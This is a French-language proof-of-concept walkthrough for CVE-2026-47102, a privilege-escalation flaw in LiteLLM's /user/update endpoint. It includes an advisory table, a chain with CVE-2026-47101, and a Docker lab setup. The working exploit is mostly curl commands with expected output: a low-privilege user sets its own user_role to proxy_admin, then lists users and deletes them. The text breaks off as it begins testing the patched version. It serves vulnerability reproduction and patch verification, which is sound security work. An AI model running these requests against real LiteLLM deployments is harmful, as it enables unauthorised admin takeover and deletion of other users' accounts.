
Le code pour reproduire personnellement la vulnérabilité correspondante
/user/updateLiteLLM v1.83.7 (versions antérieures à v1.83.10) : le point de terminaison
/user/updatepermet aux utilisateurs à faibles privilèges disposant d'un accès à ce point de terminaison de modifier le champuser_roleenproxy_adminlors de la mise à jour de leur propre compte, réalisant ainsi une élévation de privilèges non autorisée.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Versions affectées | LiteLLM < 1.83.10 (confirmé en v1.83.7) |
| Corrigé | v1.83.10+ (ajout de la vérification des autorisations de modification du champ user_role) |
| Publié | 2026-05-21 |
| Découvert par | Fenix Qiao (13ph03nix) — Obsidian Security |
| Liens | NVD |
Le point de terminaison /user/update de LiteLLM est utilisé pour mettre à jour les attributs des utilisateurs. Dans les versions affectées, la fonction can_user_call_user_update() de /user/update vérifie si l'utilisateur est autorisé à mettre à jour l'utilisateur spécifié (elle permet à un utilisateur de mettre à jour ses propres enregistrements), mais n'impose aucune restriction sur les champs modifiables.
Cela signifie que tout utilisateur capable d'accéder au point de terminaison /user/update (par exemple, un utilisateur à qui l'administrateur a accordé la permission de cette route, ou un attaquant ayant obtenu l'accès à ce point de terminaison via une autre vulnérabilité) peut élever son propre rôle à proxy_admin en modifiant son champ user_role, obtenant ainsi un accès complet à tous les points de terminaison d'administration.
L'administrateur crée une clé API avec la permission de route /user/update pour internal_user
→ internal_user obtient un accès au niveau de la route
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ élévation du rôle vers proxy_admin
→ GET /user/list (vérification de l'accès administrateur)
| Élément de comparaison | CVE-2026-47101 | CVE-2026-47102 |
|---|---|---|
| Focalisation de la vulnérabilité | /key/generate ne valide pas allowed_routes | /user/update manque de permissions au niveau des champs |
| Prérequis de l'attaque | internal_user peut appeler directement /key/generate | Nécessite d'obtenir d'abord l'accès à la route /user/update |
| Version corrigée | v1.83.14 | v1.83.10 |
Les deux vulnérabilités peuvent être enchaînées : CVE-2026-47101 sert à créer une clé à route wildcard (accès à
/user/update), et CVE-2026-47102 à élever son propre rôle àproxy_admin.
# 1. Démarrer PostgreSQL + LiteLLM vulnérable (v1.83.7-stable)
docker compose up -d litellm
# Attendre que le service soit prêt (environ 10-30 secondes)
sleep 15
# Vérifier les journaux du conteneur
docker logs litellm-47102-privesc 2>&1 | tail -10
La sortie attendue doit contenir des journaux de démarrage réussi, par exemple Uvicorn running on http://0.0.0.0:4000.
Utilisez la master key pour créer un compte internal_user à faibles privilèges :
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Sortie attendue :
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
L'administrateur crée pour internal_user une clé API avec un accès à la route /user/update. C'est la manière typique d'obtenir un accès au point de terminaison /user/update dans un environnement réel :
# Créer une clé avec la route /user/update en utilisant la master key
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
Sortie attendue :
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
Utilisez la clé avec la permission de route /user/update obtenue à l'étape précédente pour élever le rôle de l'utilisateur à proxy_admin :
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Sortie attendue :
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Point de vulnérabilité :
user_roleest passé deinternal_useràproxy_admin! Le point de terminaison/user/updatepermet à l'utilisateur de modifier son propre champuser_role, sans aucune restriction au niveau des champs.
Vérifiez via le point de terminaison /user/list que l'élévation de rôle a pris effet (en utilisant la clé API de l'internal_user d'origine, qui n'a aucune restriction de route ; une fois promu proxy_admin, l'utilisateur obtient automatiquement les privilèges d'administration) :
# Utiliser la clé promue proxy_admin (clé internal_user d'origine, sans restriction de route)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
Sortie attendue :
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
En exploitant les privilèges proxy_admin obtenus, vous pouvez supprimer n'importe quel utilisateur via /user/delete (en utilisant également la clé API de l'internal_user d'origine) :
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Sortie attendue :
1
Les étapes ci-dessus sont intégrées dans demo.sh et peuvent être exécutées directement :
# Reproduction complète (inclut la comparaison version vulnérable + version corrigée)
bash demo.sh
Démarrez la version corrigée (v1.83.10-stable) pour vérifier que CVE-2026-47102 a été corrigée :
docker compose --profile fixed up -d litellm-fixed
Créer un internal_user :
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
Créer une clé avec la route /user/update :
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
Tentez d'élever les privilèges (blocage attendu) :